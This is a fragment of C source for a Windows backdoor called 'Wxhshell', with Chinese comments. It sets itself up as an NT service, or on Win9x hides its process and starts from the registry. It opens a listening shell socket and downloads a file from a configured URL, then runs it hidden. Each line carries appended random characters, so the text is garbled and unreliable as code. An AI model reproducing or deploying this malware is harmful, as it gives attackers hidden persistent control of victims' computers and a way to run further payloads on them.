ULONG InheritedFromUniqueProcessId; [{.9#cQ"
} PROCESS_BASIC_INFORMATION; 3XIL; 5
9R99,um$
PROCNTQSIP NtQueryInformationProcess; IqCh4y3
UG=],\E2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w,-4A
o2x
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VK%
j45D `
>9,LN;Ic
HANDLE hProcess; Huc|HL#C
PROCESS_BASIC_INFORMATION pbi; FVWHiwRU,
42=/$V
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I.- I4F)D
if(NULL == hInst ) return 0; >">grDX
;{1 ws
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F- {hXM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kC
iOcl*$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^!Tq(t5V
!X\aZ{}Q
if (!NtQueryInformationProcess) return 0; qT^0
%O:
6o]j@o8V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x$) E^|A+
if(!hProcess) return 0; 2Yg\<PsN
#c(BBTuX
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lz4M)pL^
g^))
CloseHandle(hProcess); fv:&?gc
kudXwj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Je~`{n
if(hProcess==NULL) return 0; |N0RBa4%
w01u~"E
HMODULE hMod; w|:ev_c|
char procName[255]; DpIk$X
unsigned long cbNeeded; Go
!{T
|u.3Tp|3W
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >g,i"Kg
?>q5Abp[
CloseHandle(hProcess); \R,8xID_t
WQv`%%G2>
if(strstr(procName,"services")) return 1; // 以服务启动 B<jVo%og
pDt45
return 0; // 注册表启动 Wb;D9Z
} CK8!7=>}^
|3Bmsd/3
// 主模块 O5ZR{f&
int StartWxhshell(LPSTR lpCmdLine) Rw|P$dbu
{ Xj$'i/=-+c
SOCKET wsl; ;rC< C
BOOL val=TRUE; ?pV!`vp^{
int port=0; V"8w:?
struct sockaddr_in door; c"pu"t@/Z
3ZhuC".c
if(wscfg.ws_autoins) Install(); z0?IQzR^T
|b+CXEzo
port=atoi(lpCmdLine); V(0V$&qipc
$j"BHpN
if(port<=0) port=wscfg.ws_port; v8>bR|n5
{`V ^V_
WSADATA data; newURb,-!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VJgYXPE
`
)pG*_q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?cB26Zrcb
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qb+Gjgp
door.sin_family = AF_INET; fy={
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !_>o2
door.sin_port = htons(port); Dq`$3ZeA
[n&SA]a
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j>#ywh*A
closesocket(wsl); 4}Yn!"jW&
return 1; WntolYd
} %nyZ=&u
F-GH?sfvi
if(listen(wsl,2) == INVALID_SOCKET) { Gq{ );fq
closesocket(wsl); 9z7rv,
return 1; b ; U
} ?4#wVzuzA
Wxhshell(wsl); WZcAwYB
WSACleanup(); W('V2Z-q
Dmr3r[
return 0; h}=
x2tcr+o
} n,`j~.l-=>
NV`=T?1[5
// 以NT服务方式启动 g:Ry.=F7W
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6\xfoy|j
{ rbI 7
3'
DWORD status = 0; b
4A1M
DWORD specificError = 0xfffffff; _eUd
RL>
r;GAQH}j_
serviceStatus.dwServiceType = SERVICE_WIN32; R6\|:mI,$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; op61-:q/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _Q7]Dw/w\
serviceStatus.dwWin32ExitCode = 0; /g$8JL
serviceStatus.dwServiceSpecificExitCode = 0; QI`&N(n
serviceStatus.dwCheckPoint = 0; +<fT\Oq#
serviceStatus.dwWaitHint = 0; @s|yH"
t(xe*xS
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (1)b> 6
if (hServiceStatusHandle==0) return; d)L,kzN
B]:?4Ov
status = GetLastError(); ~9c jc
if (status!=NO_ERROR) C5~
+"#B
{ #2;8/"v
serviceStatus.dwCurrentState = SERVICE_STOPPED; CgKFI
serviceStatus.dwCheckPoint = 0; hHyB;(3~
serviceStatus.dwWaitHint = 0; Vn?|\3KY
serviceStatus.dwWin32ExitCode = status; VN]j*$5
serviceStatus.dwServiceSpecificExitCode = specificError; rN`-ak
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SbH} cu8
return; /@0
} CmdPa!4)
]s`cn}d
serviceStatus.dwCurrentState = SERVICE_RUNNING; w$jq2?l
serviceStatus.dwCheckPoint = 0; R_b)2FU1y
serviceStatus.dwWaitHint = 0; 7x.]
9J
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -+kTw06_C
} [9\Mf4lh#
yXBWu=w3`O
// 处理NT服务事件,比如:启动、停止 N\85fPSMG|
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6<No_x |_
{ sq+cF/jo6
switch(fdwControl) 2D4c|R@+
{ Z._%T$8aJv
case SERVICE_CONTROL_STOP: (VBO1 f
serviceStatus.dwWin32ExitCode = 0; :+%Yul
serviceStatus.dwCurrentState = SERVICE_STOPPED; p?sFX$S
serviceStatus.dwCheckPoint = 0; __[bKd.
serviceStatus.dwWaitHint = 0; A#nSK#wS61
{ .cs4AWml<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T*](oA@
} >g2Z t;*@w
return; cCq mrjUmV
case SERVICE_CONTROL_PAUSE: VF g"AJf
serviceStatus.dwCurrentState = SERVICE_PAUSED; /m h #o
break; 6{H@VF<QY!
case SERVICE_CONTROL_CONTINUE: ;;mr?'R
serviceStatus.dwCurrentState = SERVICE_RUNNING; +4V"&S|&
break; vGD D
case SERVICE_CONTROL_INTERROGATE: AhQsv.t
break; 7kmd.<
}; l42tTD8Awz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X9o6} %Y
} HA~BXxa/
!~te&ccPE
// 标准应用程序主函数 HlXEU$e
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dQ_yb+<
{ CMU\DO
bjql<x5d
// 获取操作系统版本 < [q{0,
OsIsNt=GetOsVer(); jB3Rue:+g
GetModuleFileName(NULL,ExeFile,MAX_PATH); @MfZP~T+
T:S[[#f{5
// 从命令行安装 Qp~3DUM
if(strpbrk(lpCmdLine,"iI")) Install(); 5KL??ao-
E$s?)
// 下载执行文件 $q0i=l&$&
if(wscfg.ws_downexe) { >44,Dp]
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kw5`KfG9
WinExec(wscfg.ws_filenam,SW_HIDE); R&MetQ~-{
} kNv/L$oG
YeVkX{y
if(!OsIsNt) { hd#MV!ti
// 如果时win9x,隐藏进程并且设置为注册表启动 II{"6YI>
HideProc(); zj7?2
StartWxhshell(lpCmdLine); $zJ!L
} T;{"lp.
else LmjGU[L,@
if(StartFromService()) sdXZsQw
// 以服务方式启动 n*A"}i`ix
StartServiceCtrlDispatcher(DispatchTable); `tJ"wpCf6
else KdLj1T
// 普通方式启动 '%KaAi$
StartWxhshell(lpCmdLine); G(MLq"R6U
<4jqF 4
W
return 0; KvtJtql;
}